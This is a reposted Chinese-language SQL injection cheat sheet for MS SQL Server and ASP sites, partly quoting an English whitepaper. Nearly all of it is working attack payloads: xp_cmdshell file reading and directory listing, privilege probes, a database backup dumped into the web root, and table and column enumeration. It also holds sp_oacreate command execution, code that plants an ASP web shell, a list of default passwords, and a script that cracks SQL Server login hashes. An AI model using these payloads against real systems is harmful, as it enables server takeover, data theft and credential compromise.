5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某個文件的內容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree適用權限PUBLIC)
寫入表:
語句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
語句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
語句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
語句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
語句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
語句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
語句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
語句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
語句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
把路徑寫到表中去:
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\'-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
把數據庫備份到網頁目錄:下載
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 參看相關表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
……………………………………………………

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--

經常使用密碼和相關語句:
password
sqlserver
sql
admin
sesame
sa
guest
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords

原文請看:https://blog.csdn.net/ylw_bk/article/details/78327748

剛剛轉web安全,歡迎隨時交流

QQ:1960883022

相關文章
相關標籤/搜索